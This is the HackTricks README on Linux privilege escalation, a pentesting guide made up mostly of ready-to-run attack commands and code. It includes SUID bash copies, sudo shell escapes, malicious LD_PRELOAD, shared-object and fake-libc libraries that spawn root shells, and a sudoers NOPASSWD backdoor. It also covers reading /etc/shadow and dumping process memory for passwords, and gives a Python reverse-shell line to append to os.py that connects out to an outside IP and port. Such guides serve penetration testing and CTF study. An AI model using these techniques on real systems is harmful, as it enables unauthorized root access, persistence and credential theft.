hacktricks/linux-unix/privilege-escalation/README.md

Linux Privilege Escalation

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If you want to share some tricks with the community you can also submit pull requests to ****https://github.com/carlospolop/hacktricks ****that will be reflected in this book.
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Kernel exploits

Check the kernel version and if there is some exploit that can be used to escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

You can find a good vulnerable kernel list and some already compiled exploits here: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Other sites where you can find some compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

To extract all the vulnerable kernel versions from that web you can do:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools that could help searching for kernel exploits are:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py execute IN victim,only checks exploits for kernel 2.x

Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.

CVE-2016-5195 DirtyCow

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

Based on the vulnerable sudo versions that appear in:

searchsploit sudo

You can check if the sudo version is vulnerable using this grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Software exploits

Check for the version of the installed packages and services. Maybe there is some old Nagios version for example that could be exploited for gaining privileges…
It is recommended to check manually the version of the more suspicious installed software.

dpkg -l #Debian
rpm -qa #Centos

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.

Users

Check who you are, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges

id || (whoami && groups) 2>/dev/null #Me?
cat /etc/passwd | cut -d: -f1 #All users
cat /etc/passwd | grep "sh$" #Users with console
awk -F: '($3 == "0") {print}' /etc/passwd #Superusers
w #Currently login users
last | tail #Login history

Big UID

Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here.
Exploit it using: systemd-run -t /bin/bash

Known passwords

If you know any password of the environment try to login as each user using the password.

Groups

Check if you are in some group that could grant you root rights:

{% page-ref page="interesting-groups-linux-pe/" %}

Writable PATH abuses

$PATH

If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user root ideally and that is not loaded from a folder that is located previous to your writable folder in $PATH.

Services

Writable .service files

Check if you can write any .service file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped maybe you will need to wait until the machine is rebooted.

Writable service binaries

Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.

systemd PATH - Relative Paths

You can see the PATH used by systemd with:

systemctl show-environment

If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action **Start**, **Stop**, **Reload**, your backdoor will be executed unprivileged users usually cannot start/stop services but check if you can using `sudo -l`.

Learn more about services with man systemd.service.

Timers

Timers are systemd unit files whose name ends in . timer that control . service files or events. Timers can be used as an alternative to cron. Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.

You can enumerate all the timers doing:

systemctl list-timers --all

Writable timers

If you can modify a timer you can make it execute some existent systemd.unit like a `.service` or a `.target`

Unit=backdoor.service

In the documentation you can read what the Unit is:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. See above. It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Therefore, in order to abuse this permissions you would need to:

• find some systemd unit like a `.service` that is executing a writable binary
• Find some systemd unit that is executing a relative path and you have writable privileges over the systemd PATH to impersonate that executable

Learn more about timers with man systemd.timer.

Enabling Timer

In order to enable a timer you need root privileges and to execute:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

In brief, a Unix Socket technically, the correct name is Unix domain socket, **UDS** allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. From [here](https://www.linux.com/news/what-socket/).

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file some several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: This options are different but as summary as used to indicate where is going to listen the socket the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen....
• Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
• ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
• ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
• Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket with the suffix replaced. In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the begging of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket _now where are talking about Unix Sockets, not about the config `.socket` files_, then, you can communicate with that socket and maybe exploit a vulnerability.

HTTP sockets

Note that there may be some sockets listening for HTTP requests _I'm not talking about .socket files but about the files acting as unix sockets_. You can check this with:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

If the socket respond with a HTTP request, then you can communicate with it and maybe exploit some vulnerability.

D-Bus

D-BUS is an inter-process communication IPC system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.

D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. ****From [here](https://www.linuxjournal.com/article/7744).

D-Bus use an allow/deny model, where each message method call, signal emission, etc. can be allowed or denied according to the sum of all policy rules which match it. Each or rule in the policy should have the own, send_destination or receive_sender attribute set.

Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf:

<policy user="root">
    <allow own="fi.w1.wpa_supplicant1"/>
    <allow send_destination="fi.w1.wpa_supplicant1"/>
    <allow send_interface="fi.w1.wpa_supplicant1"/>
    <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Therefore, if a policy is allowing your user in anyway to interact with the bus, you could be able to exploit it to escalate privileges maybe just listing for some passwords?.

Note that a policy that doesn't specify any user or group affects everyone `<policy>`.
Policies to the context "default" affects everyone not affected by other policies `<policy context="default"`.

Learn how to enumerate and exploit a D-Bus communication here:

{% page-ref page="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}

Processes

Take a look to what processes are being executed and check if any process has more privileges that it should maybe a tomcat being executed by root?

ps aux
ps -ef
top -n 1

Process memory

Some services of a server save credentials in clear text inside the memory. If you have access to the memory of a FTP service for example you could get the Heap and search inside of it the credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

/proc/$pid/maps & /proc/$pid/mem

For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem psuedo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.

To dump a process memory you could use:

• https://github.com/hajzer/bash-memory-dump root is required
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf root is required

strings /dev/mem -n10 | grep -i PASS

Scheduled jobs

Check if any scheduled job has any type of vulnerability. Maybe you can take advantage of any script that root executes sometimes wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?.

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Example: Cron path

For example, inside /etc/crontab you can find the sentence: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

If inside this crontab the root user tries to execute some command or script without setting the path. For example: * * * * root overwrite.sh

Then, you can get a root shell by using:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait 1 min
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Example: Cron using a script with a wildcard Wildcard Injection

If a script being executed by root has an “*” inside a command, you could exploit this to make unexpected things like privesc. Example:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

The wildcard cannot be preceded of a path: /some/path/* is not vulnerable (even ./* is not)

****Read this for more Wildcards spare tricks

Example: Cron script overwriting and symlink

If you can write inside a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

If the script executed by root uses somehow a directory in which you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Frequent cron jobs

You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.

For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

You could also use pspy this will monitor every started process.

Commands with sudo and suid commands

You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Some unexpected commands allows you to read and/or write files or even execute command. For example:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

$ sudo -l

User demo may run the following commands on crashlab:
    (root) NOPASSWD: /usr/bin/vim

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

sudo vim -c '!sh'

Sudo execution bypassing paths

Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= root /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

If a wilcard is used \*, it is even easier:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Countermeasures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary without command path

If the sudo permission is given to a single command without specifying the path: hacker10 ALL= root less you can exploit it by changing the PATH variable

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).

Payload examples to execute.

SUID binary with command path

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed

LD_PRELOAD

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library libc.so This is called preloading a library.

To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

If you find inside the output of sudo -l the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.

Defaults        env_keep += LD_PRELOAD

Save as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Then compile it using:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Finally, escalate privileges running

sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo

SUID Binary – so injection

If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

For example, if you find something like: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.

Create the file /home/user/.config/libcalc.c with the code:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Compile it using:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

And execute the binary.

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="https://gtfobins.github.io/" %}

/etc/sudoers, /etc/sudoers.d

The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. This files by default can only be read by user root and group root.
If you can read this file you could be able to obtain some interesting information, and if you can write any file you will be able to escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

If you can write you can abuse this permissions

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

/etc/ld.so.conf.d/

If you can create a file in /etc/ld.so.conf.d/ and you can execute **ldconfig**with root privileges sudo or suid then you can make executable load arbitrary libraries.

For example, to make executables in that system load libraries from /tmp you can create in that folder a config file _test.conf_ pointing to /tmp:

{% code title="/etc/ld.so.conf.d/test.conf" %}

/tmp

{% endcode %}

And when executing **ldconfig**all the binaries inside the system will be able to load libraries from /tmp.
So if there is a binary that executes a function called seclogin() from a library called libseclogin.so , you can create a backdoor in /tmp and impersonate that libraries with that function:

{% code title="/tmp/libseclogin.so" %}

#include <stdio.h>
//To compile: gcc -fPIC -shared -o libseclogin.so exploit.c
seclogin() {
    setgid(0); setuid(0);
    system("/bin/bash");
}

{% endcode %}

Note in the next image that _having already created the backdoor on /tmp_ having the config file in /etc/ld.so.conf.d pointing to /tmp after using ldconfig the executable myexecstops loading the library from /usr/lib and loads it from /tmp:

This example was taken from the HTB machine: Dab.

DOAS

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

permit nopass demo as root cmd vim

Shared Library

ldconfig

Identify shared libraries with ldd

$ ldd /opt/binary
    linux-vdso.so.1 (0x00007ffe961cd000)
    vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
    /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)        

Create a library in /tmp and activate the path.

gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

Capabilities

Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.

Capabilities name	Description
CAP_AUDIT_CONTROL	Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE	Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND	This feature can block system suspends
CAP_CHOWN	Allow user to make arbitrary change to files UIDs and GIDs full filesystem access
CAP_DAC_OVERRIDE	This helps to bypass file read, write and execute permission checks full filesystem access
CAP_DAC_READ_SEARCH	This only bypass file and directory read/execute permission checks
CAP_FOWNER	This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL	Allow the sending of signals to processes belonging to others
CAP_SETGID	Allow changing of the GID
CAP_SETUID	Allow changing of the UID set UID of root in you process
CAP_SETPCAP	Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK	This helps to lock memory
CAP_MAC_ADMIN	Allow MAC configuration or state changes
CAP_NET_RAW	Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE	SERVICE Bind a socket to internet domain privileged ports
CAP_SYS_CHROOT	Ability to call chroot()

Capabilities are useful when you want to restrict your own processes after performing privileged operations e.g. after setting up chroot and binding to a socket. However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability “-” would remove it as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:

getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep

#Exploit
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash");'

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

1. is not owned by root
2. has no SUID/SGID bits set
3. has empty capabilities set e.g.: `getcap myelf` returns `myelf =ep`

then that binary will run as root.

Capabilities info was extracted from here

Open shell sessions

Maybe you have access to some root unprotected shell session.

screen sessions

List screen sessions

screen -ls 

Attach to a session

screen -dr <session> #The -d is to detacche whoeevr is attached to it
screen -dr 3350.foo #In the example of the image

tmux sessions

List tmux sessions

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Attach to a session

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian-based systems Ubuntu, Kubuntu, etc between September 2006 and May 13th, 2008 may be affected by this bug.
This bug caused that when creating in those OS a new ssh key only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

• PasswordAuthentication: Specifies whether password authentication is allowed. The default is no.
• PubkeyAuthentication: Specifies whether public key authentication is allowed. The default is yes.
• PermitEmptyPasswords: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is no.

PermitRootLogin

Specifies whether root can log in using ssh, default is no. Possible values:

• yes : root can login using password and private key
• without-password or prohibit-password: root can only login with private key
• forced-commands-only: Root can login only using privatekey cand if the commands options is specified
• no : no

AuthorizedKeysFile

Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like %h , that will be replaced by the home directory. You can indicate absolute paths starting in `/` or relative paths from the users home. For example:

AuthorizedKeysFile	.ssh/authorized_keys access

That configuration will indicate that if you try to login with the private key ****of the user "testusername" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys and /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding allows you to use your local SSH keys instead of leaving keys without passphrases! sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.

You need to set this option in $HOME/.ssh.config like this:

Host example.com
  ForwardAgent yes

Notice that if Host is * every time the user jumps to a different machine that host will be able to access the keys which is a security issue.

The file /etc/ssh_config can override this options and allow or denied this configuration.
The file /etc/sshd_config can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding default is allow.

If you Forward Agent configured in an environment ****check here how to exploit it to escalate privileges.

Read sensitive data

Check if you can read some sensitive files and what is contained in some folders. For example:

• cat /etc/shadow This is the file that contains password hashes
• cat /etc/security/opasswd This file may contain password hashes history
• cat /etc/passwd In some cases this file may contain hashes of passwords

Check the contents of /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files

fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files

find / -type f -iname ".*" -ls 2>/dev/null

Web files

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll

Known files containing passwords

Read the code of linPEAS, it searches for several possible files that could contain passwords.

Other interesting tool that you can use to do so is: LaZagne****

Regexp or strings inside files It could be also useful to check [**log files**](https://www.thegeekstuff.com/2011/08/linux-var-log-files/)

grep -lRi "password" /home /var/www /var/log 2>/dev/null | sort | uniq #Find string password (no cs) in those directories
grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq #IPs inside logs

Environment, there could be interesting data

set
env
cat /proc/self/environ

Writable files

You should check if you can write in some sensitive file. For example, can you write to some service configuration file?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor will be executed the next time that tomcat is started.

Python library hijacking

If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it if you can write where python script is going to be executed, copy and paste the os.py library.

To backdoor the library just add at the end of the os.py library the following line change IP and PORT:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

There is a vulnerability on logrotatethat allows a user with write permissions over a log file or any of its parent directories to make logrotatewrite a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login.
So, if you have write perms over a log file or any of its parent folder, you can privesc on most linux distributions, logrotate is executed automatically once a day as **user root**. Also, check if apart of /var/log there are more files being rotated.

More detailed information about the vulnerability can be found in this page https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

You can exploit this vulnerability with logrotten.

Internal Open Ports

You should check if any undiscovered service is running in some port/interface. Maybe it is running with more privileges that it should or it is vulnerable to some kind of privilege escalation vulnerability.

netstat -punta
ss -t; ss -u

Sniffing

Check if you can sniff traffic. If you can, you could be able to grab some credentials.

timeout 1 tcpdump

Storage information

You can check the storage information using:

df -h

There could be some disks that are not mounted

ls /dev | grep -i "sd"
cat /etc/fstab
lpstat -a# Check if there is any printer

Check for weird executables

Just check the name of the binaries inside /bin, /usr/bin, /sbin, /usr/sbin… directories inside **$PATH**

Other Tricks

Exploiting services

NFS no_root_squash misconfiguration PE

Searching added software without package manager

for i in /sbin/* /; do dpkg --search $i >/dev/null; done #Use ir inside each folder of the path

More linux enumeration

Useful Software

which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 perl php ruby xterm doas sudo fetch 2>/dev/null #Check for some interesting software

Network information

cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null #Known hosts and DNS
dnsdomainname 2>/dev/null
cat /etc/networks 2>/dev/null
ifconfig 2>/dev/null || ip a 2>/dev/null #Info about interfaces
iptables -L 2>/dev/null #Some iptables rules? access??
arp -e 2>/dev/null #Known neightbours
route 2>/dev/null #Network routes
netstat -punta 2>/dev/null #Ports
lsof -i #Files used by network services

Users

gpg --list-keys #Do I have any PGP key?

Files

ls -la $HOME #Files in $HOME
find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER #Files in home by not in my $HOME
find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; #Check for .ssh directories and their content

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS****

LinEnum: https://github.com/rebootuser/LinEnum-t option
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail physical access: https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux

Bibliography

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i